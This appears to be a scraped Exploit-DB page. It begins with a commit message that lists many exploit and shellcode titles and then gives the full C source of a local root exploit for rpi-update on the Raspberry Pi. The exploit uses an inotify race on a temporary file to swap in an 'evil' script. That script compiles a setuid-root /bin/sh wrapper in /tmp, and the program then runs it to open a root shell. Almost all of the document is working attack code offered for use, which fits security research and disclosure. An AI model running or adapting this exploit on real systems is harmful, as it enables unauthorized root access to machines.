880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
94 lines
No EOL
2.7 KiB
C
94 lines
No EOL
2.7 KiB
C
// source: https://www.securityfocus.com/bid/58292/info
|
|
|
|
rpi-update is prone to an insecure temporary file-handling vulnerability and a security-bypass vulnerability
|
|
|
|
An attacker can exploit this issue to perform symbolic-link attacks, overwriting arbitrary files in the context of the affected application, bypass certain security restrictions, and perform unauthorized actions. This may aid in further attacks.
|
|
|
|
|
|
/*Local root exploit for rpi-update on raspberry Pi.
|
|
Vulnerability discovered by Technion, technion@lolware.net
|
|
|
|
https://github.com/Hexxeh/rpi-update/
|
|
|
|
|
|
larry@pih0le:~$ ./rpix updateScript.sh
|
|
[*] Launching attack against "updateScript.sh"
|
|
[+] Creating evil script (/tmp/evil)
|
|
[+] Creating target file (/usr/bin/touch /tmp/updateScript.sh)
|
|
[+] Initialize inotify on /tmp/updateScript.sh
|
|
[+] Waiting for root to change perms on "updateScript.sh"
|
|
[+] Opening root shell (/tmp/sh)
|
|
# <-- Yay!
|
|
|
|
|
|
Larry W. Cashdollar
|
|
http://vapid.dhs.org
|
|
@_larry0
|
|
|
|
Greets to Vladz.
|
|
*/
|
|
|
|
#include <stdlib.h>
|
|
#include <stdio.h>
|
|
#include <unistd.h>
|
|
#include <sys/stat.h>
|
|
#include <sys/types.h>
|
|
#include <string.h>
|
|
#include <sys/inotify.h>
|
|
#include <fcntl.h>
|
|
#include <sys/syscall.h>
|
|
|
|
/*Create a small c program to pop us a root shell*/
|
|
int create_nasty_shell(char *file) {
|
|
char *s = "#!/bin/bash\n"
|
|
"echo 'main(){setuid(0);execve(\"/bin/sh\",0,0);}'>/tmp/sh.c\n"
|
|
"cc /tmp/sh.c -o /tmp/sh; chown root:root /tmp/sh\n"
|
|
"chmod 4755 /tmp/sh;\n";
|
|
|
|
int fd = open(file, O_CREAT|O_RDWR, S_IRWXU|S_IRWXG|S_IRWXO);
|
|
write(fd, s, strlen(s));
|
|
close(fd);
|
|
|
|
return 0;
|
|
}
|
|
|
|
|
|
int main(int argc, char **argv) {
|
|
int fd, wd;
|
|
char buf[1], *targetpath, *cmd,
|
|
*evilsh = "/tmp/evil", *trash = "/tmp/trash";
|
|
|
|
if (argc < 2) {
|
|
printf("Usage: %s <target file> \n", argv[0]);
|
|
return 1;
|
|
}
|
|
|
|
printf("[*] Launching attack against \"%s\"\n", argv[1]);
|
|
|
|
printf("[+] Creating evil script (/tmp/evil)\n");
|
|
create_nasty_shell(evilsh);
|
|
|
|
targetpath = malloc(sizeof(argv[1]) + 32);
|
|
cmd = malloc(sizeof(char) * 32);
|
|
sprintf(targetpath, "/tmp/%s", argv[1]);
|
|
sprintf(cmd,"/usr/bin/touch %s",targetpath);
|
|
printf("[+] Creating target file (%s)\n",cmd);
|
|
system(cmd);
|
|
|
|
printf("[+] Initialize inotify on %s\n",targetpath);
|
|
fd = inotify_init();
|
|
wd = inotify_add_watch(fd, targetpath, IN_MODIFY);
|
|
|
|
printf("[+] Waiting for root to modify :\"%s\"\n", argv[1]);
|
|
syscall(SYS_read, fd, buf, 1);
|
|
syscall(SYS_rename, targetpath, trash);
|
|
syscall(SYS_rename, evilsh, targetpath);
|
|
|
|
inotify_rm_watch(fd, wd);
|
|
|
|
printf("[+] Opening root shell (/tmp/sh)\n");
|
|
sleep(2);
|
|
system("rm -fr /tmp/trash;/tmp/sh || echo \"[-] Failed.\"");
|
|
|
|
return 0;
|
|
} |